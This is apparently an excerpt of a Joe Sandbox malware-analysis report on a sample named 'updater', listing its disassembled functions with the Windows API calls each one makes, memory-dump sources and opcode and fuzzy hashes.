Opcode ID: 8ad2fffcd705d577050765362cd3fc156ee191a87e03527469342713ed08ed2d
Instruction ID: b76fdef970a89948ea491dfdfe98e8569a51724cdf8019f98fdd5acb820bcb5c
Opcode Fuzzy Hash: 8ad2fffcd705d577050765362cd3fc156ee191a87e03527469342713ed08ed2d
Instruction Fuzzy Hash: E4110D759412287AD7309BA5AC4DFEFBB7CEF45720F10459AF918E7190D2704F808BA4

Function 00C26A54 Relevance: 6.1, APIs: 4, Instructions: 61networkCOMMON

Download Yara Rule

APIs

Part of subcall function 00BC402A: WideCharToMultiByte.KERNEL32(00000000,00000000,?,00000001,00000000,00000000,00000000,00000000,00000000,00000000,?,00C17E51,?,?,00000000), ref: 00BC4041
Part of subcall function 00BC402A: WideCharToMultiByte.KERNEL32(00000000,00000000,?,00000001,00000000,?,00000000,00000000,?,?,00C17E51,?,?,00000000,?,?), ref: 00BC4065

gethostbyname.WSOCK32(?), ref: 00C26A84
WSAGetLastError.WSOCK32(00000000), ref: 00C26A8F
_memmove.LIBCMT ref: 00C26ABC
inet_ntoa.WSOCK32(?), ref: 00C26AC7

Memory Dump Source

Source File: 00000013.00000002.2481282186.0000000000BB1000.00000020.00000001.01000000.00000010.sdmp, Offset: 00BB0000, based on PE: true

Associated: 00000013.00000002.2480217922.0000000000BB0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2481669909.0000000000C40000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2481669909.0000000000C66000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2482204228.0000000000C70000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2482250408.0000000000C79000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_bb0000_updater.jbxd

Similarity

API ID: ByteCharMultiWide$ErrorLast_memmovegethostbynameinet_ntoa
String ID:
API String ID: 1504782959-0
Opcode ID: bcffdc738205175afe3b264e130a354d4749a56699d55e2041b2842dd46b72f1
Instruction ID: 3898392dd81d74d277bd3f304115ebcc586ff3610c2f370b3d2e37f9eabff24c
Opcode Fuzzy Hash: bcffdc738205175afe3b264e130a354d4749a56699d55e2041b2842dd46b72f1
Instruction Fuzzy Hash: F1115176540108AFCB04EBA4DD56EEEB7F8FF15310B1440A5F506A72A2DF31AE14DBA1

Function 00C096F9 Relevance: 6.1, APIs: 4, Instructions: 59windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(?,000000B0,?,?), ref: 00C09719
SendMessageW.USER32(?,000000C9,?,00000000), ref: 00C0972B
SendMessageW.USER32(?,000000C9,?,00000000), ref: 00C09741
SendMessageW.USER32(?,000000C9,?,00000000), ref: 00C0975C

Memory Dump Source

Source File: 00000013.00000002.2481282186.0000000000BB1000.00000020.00000001.01000000.00000010.sdmp, Offset: 00BB0000, based on PE: true

Associated: 00000013.00000002.2480217922.0000000000BB0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2481669909.0000000000C40000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2481669909.0000000000C66000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2482204228.0000000000C70000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2482250408.0000000000C79000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_bb0000_updater.jbxd

Similarity

API ID: MessageSend
String ID:
API String ID: 3850602802-0
Opcode ID: af49d9793f5265ea332c4d89c7c42b4611da370513b5d0111f1a01c8536caaed
Instruction ID: 43c5aa62dfe6d2ac7904800435d1bccfc7e7d82d6d721773038aecd5caf2d833
Opcode Fuzzy Hash: af49d9793f5265ea332c4d89c7c42b4611da370513b5d0111f1a01c8536caaed
Instruction Fuzzy Hash: AF11483A901218FFEB10DF99C984F9DBBB8FB48710F204091EA04B7290D671AE10DB90

Function 00BB166C Relevance: 6.1, APIs: 4, Instructions: 59COMMON

Download Yara Rule

APIs

Part of subcall function 00BB29E2: GetWindowLongW.USER32(?,000000EB), ref: 00BB29F3

DefDlgProcW.USER32(?,00000020,?), ref: 00BB16B4
GetClientRect.USER32(?,?), ref: 00BEB93C
GetCursorPos.USER32(?), ref: 00BEB946
ScreenToClient.USER32(?,?), ref: 00BEB951

Memory Dump Source

Source File: 00000013.00000002.2481282186.0000000000BB1000.00000020.00000001.01000000.00000010.sdmp, Offset: 00BB0000, based on PE: true

Associated: 00000013.00000002.2480217922.0000000000BB0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2481669909.0000000000C40000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2481669909.0000000000C66000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2482204228.0000000000C70000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2482250408.0000000000C79000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_bb0000_updater.jbxd

Similarity

API ID: Client$CursorLongProcRectScreenWindow
String ID:
API String ID: 4127811313-0
Opcode ID: 5020033a1e744267b5f0dc9bb990d87dfc4df43aa3ae4564b9c0e1a8377b97a6
Instruction ID: dca98d9ca5715f60de5e90cea289b8d36f68035751a783663a14f80558f4b8b9
Opcode Fuzzy Hash: 5020033a1e744267b5f0dc9bb990d87dfc4df43aa3ae4564b9c0e1a8377b97a6
Instruction Fuzzy Hash: 42112879A00019ABCB00EF98C895EFE77F8FB09301F540895FA52E7150D770BA51CBA5

Function 0124E9A3 Relevance: 6.1, APIs: 4, Instructions: 55memoryCOMMON

Download Yara Rule

APIs

RtlInitializeCriticalSection.NTDLL(0126C47D), ref: 0124E9BC
RtlEnterCriticalSection.NTDLL(0126C47D), ref: 0124E9CF
LocalAlloc.KERNEL32(00000000,00000FF8,00000000,0124EA6D), ref: 0124E9F9
RtlLeaveCriticalSection.NTDLL(0126C47D), ref: 0124EA67

Memory Dump Source

Source File: 00000013.00000002.2484002607.000000000124B000.00000040.00000020.00020000.00000000.sdmp, Offset: 0124B000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_124b000_updater.jbxd

Similarity

API ID: CriticalSection$AllocEnterInitializeLeaveLocal
String ID:
API String ID: 730355536-0
Opcode ID: e749bd7749606ab21532446660e625f3a406a37c2bd7f2d724e358e88d843f20
Instruction ID: 0d7207cd353a19b518ded173611177726cc285172bd89708bf9d29067717d68d
Opcode Fuzzy Hash: e749bd7749606ab21532446660e625f3a406a37c2bd7f2d724e358e88d843f20
Instruction Fuzzy Hash: 5D11B2706A4201AFF719FFA9E409A797BE5FB59700F1280A8E584973D4CA786D50C721

Function 0124E9A5 Relevance: 6.1, APIs: 4, Instructions: 54memoryCOMMON

Download Yara Rule

APIs

RtlInitializeCriticalSection.NTDLL(0126C47D), ref: 0124E9BC
RtlEnterCriticalSection.NTDLL(0126C47D), ref: 0124E9CF
LocalAlloc.KERNEL32(00000000,00000FF8,00000000,0124EA6D), ref: 0124E9F9
RtlLeaveCriticalSection.NTDLL(0126C47D), ref: 0124EA67

Memory Dump Source

Source File: 00000013.00000002.2484002607.000000000124B000.00000040.00000020.00020000.00000000.sdmp, Offset: 0124B000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_124b000_updater.jbxd

Similarity

API ID: CriticalSection$AllocEnterInitializeLeaveLocal
String ID:
API String ID: 730355536-0
Opcode ID: 654f483e58ff1827d05ac5a11841f76df6e2ad6bcde7198c94d0b21c0f57cf07
Instruction ID: 1edd2507a0c3334fb96bcbf0f49245e4b738b5534cd2fe211587d7d1f8cdcfcc
Opcode Fuzzy Hash: 654f483e58ff1827d05ac5a11841f76df6e2ad6bcde7198c94d0b21c0f57cf07
Instruction Fuzzy Hash: 8211B2706A4201AFF719FFA9E409A797BE5FB59700F1280A8D584973D4CA786D50C721

Function 00BB2111 Relevance: 6.1, APIs: 4, Instructions: 53windowCOMMON

Download Yara Rule

APIs

CreateWindowExW.USER32(?,?,?,?,?,?,?,?,?,?,00000000,00000096), ref: 00BB214F
GetStockObject.GDI32(00000011), ref: 00BB2163
SendMessageW.USER32(00000000,00000030,00000000), ref: 00BB216D

Memory Dump Source

Source File: 00000013.00000002.2481282186.0000000000BB1000.00000020.00000001.01000000.00000010.sdmp, Offset: 00BB0000, based on PE: true

Associated: 00000013.00000002.2480217922.0000000000BB0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2481669909.0000000000C40000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2481669909.0000000000C66000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2482204228.0000000000C70000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2482250408.0000000000C79000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_bb0000_updater.jbxd

Similarity

API ID: CreateMessageObjectSendStockWindow
String ID:
API String ID: 3970641297-0
Opcode ID: 1725d13df029820be1d15b6cad78f0cf99e4b6f5aaf257bcda88926203080523
Instruction ID: 8fcd56b580ce6957443c83828770d9bf029011a252179675d5b3fb94faadd5f3
Opcode Fuzzy Hash: 1725d13df029820be1d15b6cad78f0cf99e4b6f5aaf257bcda88926203080523
Instruction Fuzzy Hash: DC1179B2501549BFDB024F94DC84FEA7BA9FF59394F150145FB0466120C7719C609BA1

Function 00C11941 Relevance: 6.1, APIs: 4, Instructions: 51sleepCOMMON

Download Yara Rule

APIs

QueryPerformanceCounter.KERNEL32(?,?,?,?,?,?,?,00C104EC,?,00C1153F,?,00008000), ref: 00C1195E
Sleep.KERNEL32(00000000,?,?,?,?,?,?,00C104EC,?,00C1153F,?,00008000), ref: 00C11983
QueryPerformanceCounter.KERNEL32(?,?,?,?,?,?,?,00C104EC,?,00C1153F,?,00008000), ref: 00C1198D
Sleep.KERNEL32(?,?,?,?,?,?,?,00C104EC,?,00C1153F,?,00008000), ref: 00C119C0

Memory Dump Source

Source File: 00000013.00000002.2481282186.0000000000BB1000.00000020.00000001.01000000.00000010.sdmp, Offset: 00BB0000, based on PE: true

Associated: 00000013.00000002.2480217922.0000000000BB0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2481669909.0000000000C40000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2481669909.0000000000C66000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2482204228.0000000000C70000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2482250408.0000000000C79000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_bb0000_updater.jbxd

Similarity

API ID: CounterPerformanceQuerySleep
String ID:
API String ID: 2875609808-0
Opcode ID: f4781e9cf85fb90846de279fc310993a886ee9e46783622de9b4d14cc2f28281
Instruction ID: 287defbf1cefed895f7fe864a786d6877982f8e6b1adc5531b01d29a99270355
Opcode Fuzzy Hash: f4781e9cf85fb90846de279fc310993a886ee9e46783622de9b4d14cc2f28281
Instruction Fuzzy Hash: BC115A31C0051DDBCF00DFA5D998BEEBB78FF0A701F044046EE90B2240CB3496A09B95

Function 00C3E1CE Relevance: 6.0, APIs: 4, Instructions: 50registryCOMMON

Download Yara Rule

APIs

GetModuleFileNameW.KERNEL32(?,?,00000104,00000000,00000000), ref: 00C3E1EA
LoadTypeLibEx.OLEAUT32(?,00000002,0000000C), ref: 00C3E201
RegisterTypeLib.OLEAUT32(0000000C,?,00000000), ref: 00C3E216
RegisterTypeLibForUser.OLEAUT32(0000000C,?,00000000), ref: 00C3E234

Memory Dump Source

Source File: 00000013.00000002.2481282186.0000000000BB1000.00000020.00000001.01000000.00000010.sdmp, Offset: 00BB0000, based on PE: true

Associated: 00000013.00000002.2480217922.0000000000BB0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2481669909.0000000000C40000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2481669909.0000000000C66000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2482204228.0000000000C70000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2482250408.0000000000C79000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_bb0000_updater.jbxd

Similarity

API ID: Type$Register$FileLoadModuleNameUser
String ID:
API String ID: 1352324309-0
Opcode ID: e0e44c0bbbeca370210a9aa30c3e9b7a2d8f040a73c7ddb53ae2226051e242cd
Instruction ID: 3f1de8856101cc6a4c185b3ff5405cf88122555f92d64f85b9e9766bff5cc156
Opcode Fuzzy Hash: e0e44c0bbbeca370210a9aa30c3e9b7a2d8f040a73c7ddb53ae2226051e242cd
Instruction Fuzzy Hash: 211161B52553149BE3308F51DD0CF97BBBCEB00B00F108559A716D6191D7B1E544DBA1

Function 00BE71E7 Relevance: 6.0, APIs: 4, Instructions: 48COMMONLIBRARYCODE

Download Yara Rule

APIs

__cftof_l.LIBCMT ref: 00BE720B

Part of subcall function 00BE78F2: __fltout2.LIBCMT ref: 00BE791B

__cftog_l.LIBCMT ref: 00BE7231
__cftoe_l.LIBCMT ref: 00BE7263

Memory Dump Source

Source File: 00000013.00000002.2481282186.0000000000BB1000.00000020.00000001.01000000.00000010.sdmp, Offset: 00BB0000, based on PE: true

Associated: 00000013.00000002.2480217922.0000000000BB0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2481669909.0000000000C40000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2481669909.0000000000C66000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2482204228.0000000000C70000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2482250408.0000000000C79000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_bb0000_updater.jbxd

Similarity

API ID: __cftoe_l__cftof_l__cftog_l__fltout2
String ID:
API String ID: 3016257755-0
Opcode ID: a65d1881d29c7e947f5b32dbcea64912f89e558cad637ae539af3f1adf23f7b4
Instruction ID: 9ced324360102b7d46510b7bc52437991d28010472b098e88a06dacafb09bacd
Opcode Fuzzy Hash: a65d1881d29c7e947f5b32dbcea64912f89e558cad637ae539af3f1adf23f7b4
Instruction Fuzzy Hash: 0201803208818EBBCF125E86CC418ED3FA2FF1A341B088595FA1858131CB36C9B1AB81

Function 00C3B937 Relevance: 6.0, APIs: 4, Instructions: 47COMMON

Download Yara Rule

APIs

GetWindowRect.USER32(?,?), ref: 00C3B956
ScreenToClient.USER32(?,?), ref: 00C3B96E
ScreenToClient.USER32(?,?), ref: 00C3B992
InvalidateRect.USER32(?,?,?,?,?,?,?,?,?,?,?,?), ref: 00C3B9AD

Memory Dump Source

Source File: 00000013.00000002.2481282186.0000000000BB1000.00000020.00000001.01000000.00000010.sdmp, Offset: 00BB0000, based on PE: true

Associated: 00000013.00000002.2480217922.0000000000BB0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2481669909.0000000000C40000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2481669909.0000000000C66000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2482204228.0000000000C70000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2482250408.0000000000C79000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_bb0000_updater.jbxd

Similarity

API ID: ClientRectScreen$InvalidateWindow
String ID:
API String ID: 357397906-0
Opcode ID: b17465ed02b6114a821ee18d11437ec41127035d06bfedcaea3f40df0ff48512
Instruction ID: 44139cf8e800b58da002ca6a38c82389d374186bc8c9889575a66fe74839547b
Opcode Fuzzy Hash: b17465ed02b6114a821ee18d11437ec41127035d06bfedcaea3f40df0ff48512
Instruction Fuzzy Hash: 091174B9D00209EFDB41CF98C884AEEBBF9FF49310F104156E915E3210D731AA618F50

Function 00C3BCA7 Relevance: 6.0, APIs: 4, Instructions: 40processCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 00C3BCB6
_memset.LIBCMT ref: 00C3BCC5
CreateProcessW.KERNEL32(00000000,?,00000000,00000000,00000000,00000020,00000000,00000000,00C78F20,00C78F64), ref: 00C3BCF4
CloseHandle.KERNEL32 ref: 00C3BD06

Memory Dump Source

Source File: 00000013.00000002.2481282186.0000000000BB1000.00000020.00000001.01000000.00000010.sdmp, Offset: 00BB0000, based on PE: true

Associated: 00000013.00000002.2480217922.0000000000BB0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2481669909.0000000000C40000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2481669909.0000000000C66000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2482204228.0000000000C70000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2482250408.0000000000C79000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_bb0000_updater.jbxd

Similarity

API ID: _memset$CloseCreateHandleProcess
String ID:
API String ID: 3277943733-0
Opcode ID: 61cff9536f316048694a350172be3d2a1d1154ae477caf6388a412bd02332150
Instruction ID: f6e71f4410414f6b7eeb6674accf8278b49aca2e50243c9eb63bdc7a106d46e0
Opcode Fuzzy Hash: 61cff9536f316048694a350172be3d2a1d1154ae477caf6388a412bd02332150
Instruction Fuzzy Hash: 1CF05EF26803047FE7502BA1AC09FBF3A9DEB09760F008421FB0CD51A6EB714C5487A9

Function 00C17195 Relevance: 6.0, APIs: 4, Instructions: 33COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?), ref: 00C171A1

Part of subcall function 00C17C7F: _memset.LIBCMT ref: 00C17CB4

_memmove.LIBCMT ref: 00C171C4
_memset.LIBCMT ref: 00C171D1
LeaveCriticalSection.KERNEL32(?), ref: 00C171E1

Memory Dump Source

Source File: 00000013.00000002.2481282186.0000000000BB1000.00000020.00000001.01000000.00000010.sdmp, Offset: 00BB0000, based on PE: true

Associated: 00000013.00000002.2480217922.0000000000BB0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2481669909.0000000000C40000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2481669909.0000000000C66000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2482204228.0000000000C70000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2482250408.0000000000C79000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_bb0000_updater.jbxd

Similarity

API ID: CriticalSection_memset$EnterLeave_memmove
String ID:
API String ID: 48991266-0
Opcode ID: a05abb940c707872fc8e68be1d77fe0afbb953b1dab1ed85eb1da7ff4de82cc3
Instruction ID: c6638a5100e26c81d7e1a9cf398c184f39aec5bc1adc3e59e4d7d56dcfdb40d3
Opcode Fuzzy Hash: a05abb940c707872fc8e68be1d77fe0afbb953b1dab1ed85eb1da7ff4de82cc3
Instruction Fuzzy Hash: 22F0303A100100ABCB016F55DC85B8ABB69EF46360F04C051FE085E22BC731A951EBB4

Function 00C3C3C4 Relevance: 6.0, APIs: 4, Instructions: 31COMMON

Download Yara Rule

APIs

Part of subcall function 00BB16CF: ExtCreatePen.GDI32(?,?,00000000,00000000,00000000,?,00000000), ref: 00BB1729
Part of subcall function 00BB16CF: SelectObject.GDI32(?,00000000), ref: 00BB1738
Part of subcall function 00BB16CF: BeginPath.GDI32(?), ref: 00BB174F
Part of subcall function 00BB16CF: SelectObject.GDI32(?,00000000), ref: 00BB1778

MoveToEx.GDI32(00000000,00000000,?,00000000), ref: 00C3C3E8
LineTo.GDI32(00000000,?,?), ref: 00C3C3F5
EndPath.GDI32(00000000), ref: 00C3C405
StrokePath.GDI32(00000000), ref: 00C3C413

Memory Dump Source

Source File: 00000013.00000002.2481282186.0000000000BB1000.00000020.00000001.01000000.00000010.sdmp, Offset: 00BB0000, based on PE: true

Associated: 00000013.00000002.2480217922.0000000000BB0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2481669909.0000000000C40000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2481669909.0000000000C66000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2482204228.0000000000C70000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2482250408.0000000000C79000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_bb0000_updater.jbxd

Similarity

API ID: Path$ObjectSelect$BeginCreateLineMoveStroke
String ID:
API String ID: 1539411459-0
Opcode ID: 2b70fcbfe2f66b954abb08064b6a7912cd35ae121a71c35e9507e3d24acd086c
Instruction ID: 6680c88f8f9f6cb41c0d5696162a3b2565c93cb84911a8d595eab791c4040ba2
Opcode Fuzzy Hash: 2b70fcbfe2f66b954abb08064b6a7912cd35ae121a71c35e9507e3d24acd086c
Instruction Fuzzy Hash: 73F0BE35045218BBDB222F54AC0DFDE3F59BF06310F148000FB11710E283B41650EBE9

Function 00C0AA52 Relevance: 6.0, APIs: 4, Instructions: 30threadwindowtimeCOMMON

Download Yara Rule

APIs

SendMessageTimeoutW.USER32(?,00000000,00000000,00000000,00000002,00001388,00000001), ref: 00C0AA6F
GetWindowThreadProcessId.USER32(?,00000000), ref: 00C0AA82
GetCurrentThreadId.KERNEL32 ref: 00C0AA89
AttachThreadInput.USER32(00000000), ref: 00C0AA90

Memory Dump Source

Source File: 00000013.00000002.2481282186.0000000000BB1000.00000020.00000001.01000000.00000010.sdmp, Offset: 00BB0000, based on PE: true

Associated: 00000013.00000002.2480217922.0000000000BB0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2481669909.0000000000C40000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2481669909.0000000000C66000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2482204228.0000000000C70000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2482250408.0000000000C79000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_bb0000_updater.jbxd

Similarity

API ID: Thread$AttachCurrentInputMessageProcessSendTimeoutWindow
String ID:
API String ID: 2710830443-0
Opcode ID: 47e71f939d4d7bb6c94a14e00a16f8e5841434bc041afd048545766168417e75
Instruction ID: f310ec49c2522e485d1ed95e00bf665896cc0d79f1a41099f0d775fca76b189c
Opcode Fuzzy Hash: 47e71f939d4d7bb6c94a14e00a16f8e5841434bc041afd048545766168417e75
Instruction Fuzzy Hash: 34E03931681328BADB215FA29D0CFEF3F1CFF127A1F108011FA0A85090C6718650DBA0

Function 00BB25F4 Relevance: 6.0, APIs: 4, Instructions: 23COMMON

Download Yara Rule

APIs

GetSysColor.USER32(00000008), ref: 00BB260D
SetTextColor.GDI32(?,000000FF), ref: 00BB2617
SetBkMode.GDI32(?,00000001), ref: 00BB262C
GetStockObject.GDI32(00000005), ref: 00BB2634
GetWindowDC.USER32(?,00000000), ref: 00BEC1C4
GetPixel.GDI32(00000000,00000000,00000000), ref: 00BEC1D1
GetPixel.GDI32(00000000,?,00000000), ref: 00BEC1EA
GetPixel.GDI32(00000000,00000000,?), ref: 00BEC203
GetPixel.GDI32(00000000,?,?), ref: 00BEC223
ReleaseDC.USER32(?,00000000), ref: 00BEC22E

Memory Dump Source

Source File: 00000013.00000002.2481282186.0000000000BB1000.00000020.00000001.01000000.00000010.sdmp, Offset: 00BB0000, based on PE: true

Associated: 00000013.00000002.2480217922.0000000000BB0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2481669909.0000000000C40000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2481669909.0000000000C66000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2482204228.0000000000C70000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2482250408.0000000000C79000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_bb0000_updater.jbxd

Similarity

API ID: Pixel$Color$ModeObjectReleaseStockTextWindow
String ID:
API String ID: 1946975507-0
Opcode ID: 9d28573d47b118728d52e4c4fafa466a0543e0f9eb84e99dcc4a250b9b034672
Instruction ID: a2189006ba896397af0a796c2dfcbd52cd292947974c116bd248f349097358b3
Opcode Fuzzy Hash: 9d28573d47b118728d52e4c4fafa466a0543e0f9eb84e99dcc4a250b9b034672
Instruction Fuzzy Hash: F3E06535544284BBDB215F64AC097DC3F61FB06331F1483AAFB69580E187714580DB12

Function 00C09330 Relevance: 6.0, APIs: 4, Instructions: 23threadCOMMON

Download Yara Rule

APIs

GetCurrentThread.KERNEL32 ref: 00C09339
OpenThreadToken.ADVAPI32(00000000,?,?,?,00C08F04), ref: 00C09340
GetCurrentProcess.KERNEL32(00000028,?,?,?,?,00C08F04), ref: 00C0934D
OpenProcessToken.ADVAPI32(00000000,?,?,?,00C08F04), ref: 00C09354

Memory Dump Source

Source File: 00000013.00000002.2481282186.0000000000BB1000.00000020.00000001.01000000.00000010.sdmp, Offset: 00BB0000, based on PE: true

Associated: 00000013.00000002.2480217922.0000000000BB0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2481669909.0000000000C40000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2481669909.0000000000C66000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2482204228.0000000000C70000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2482250408.0000000000C79000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_bb0000_updater.jbxd

Similarity

API ID: CurrentOpenProcessThreadToken
String ID:
API String ID: 3974789173-0
Opcode ID: fca88d78bd524d28aedc4b08a2ba7ef21618bd8b4f74fb7edc543639c90db9f3
Instruction ID: a19ed279b69042bcaedd3d4970ac21c184b136331dfbbde6e8b6079be53578a6
Opcode Fuzzy Hash: fca88d78bd524d28aedc4b08a2ba7ef21618bd8b4f74fb7edc543639c90db9f3
Instruction Fuzzy Hash: B4E0863A6412119FD7201FF15D0DB5A3BACFF527B1F208818F745C90E0E6349444CB50

Function 00BF0679 Relevance: 6.0, APIs: 4, Instructions: 20COMMON

Download Yara Rule

APIs

GetDesktopWindow.USER32 ref: 00BF0679
GetDC.USER32(00000000), ref: 00BF0683
GetDeviceCaps.GDI32(00000000,0000000C), ref: 00BF06A3
ReleaseDC.USER32(?), ref: 00BF06C4

Memory Dump Source

Source File: 00000013.00000002.2481282186.0000000000BB1000.00000020.00000001.01000000.00000010.sdmp, Offset: 00BB0000, based on PE: true

Associated: 00000013.00000002.2480217922.0000000000BB0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2481669909.0000000000C40000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2481669909.0000000000C66000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2482204228.0000000000C70000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2482250408.0000000000C79000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_bb0000_updater.jbxd

Similarity

API ID: CapsDesktopDeviceReleaseWindow
String ID:
API String ID: 2889604237-0
Opcode ID: 4d6cb5181724ac679f9a2a6d5953850448488b0f657c4a6916087052b6294c3a
Instruction ID: 8776cfe6ff550ab951e15252899f5ba7d3ea1da5dd2de9a20d234463f27c6524
Opcode Fuzzy Hash: 4d6cb5181724ac679f9a2a6d5953850448488b0f657c4a6916087052b6294c3a
Instruction Fuzzy Hash: 2CE0E579840204EFCB01AF60D848BED7BF1FB88310F228459FE5AA7210CB7885519F50

Function 00BF068D Relevance: 6.0, APIs: 4, Instructions: 19COMMON

Download Yara Rule

APIs

GetDesktopWindow.USER32 ref: 00BF068D
GetDC.USER32(00000000), ref: 00BF0697
GetDeviceCaps.GDI32(00000000,0000000C), ref: 00BF06A3
ReleaseDC.USER32(?), ref: 00BF06C4

Memory Dump Source

Source File: 00000013.00000002.2481282186.0000000000BB1000.00000020.00000001.01000000.00000010.sdmp, Offset: 00BB0000, based on PE: true

Associated: 00000013.00000002.2480217922.0000000000BB0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2481669909.0000000000C40000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2481669909.0000000000C66000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2482204228.0000000000C70000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2482250408.0000000000C79000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_bb0000_updater.jbxd

Similarity

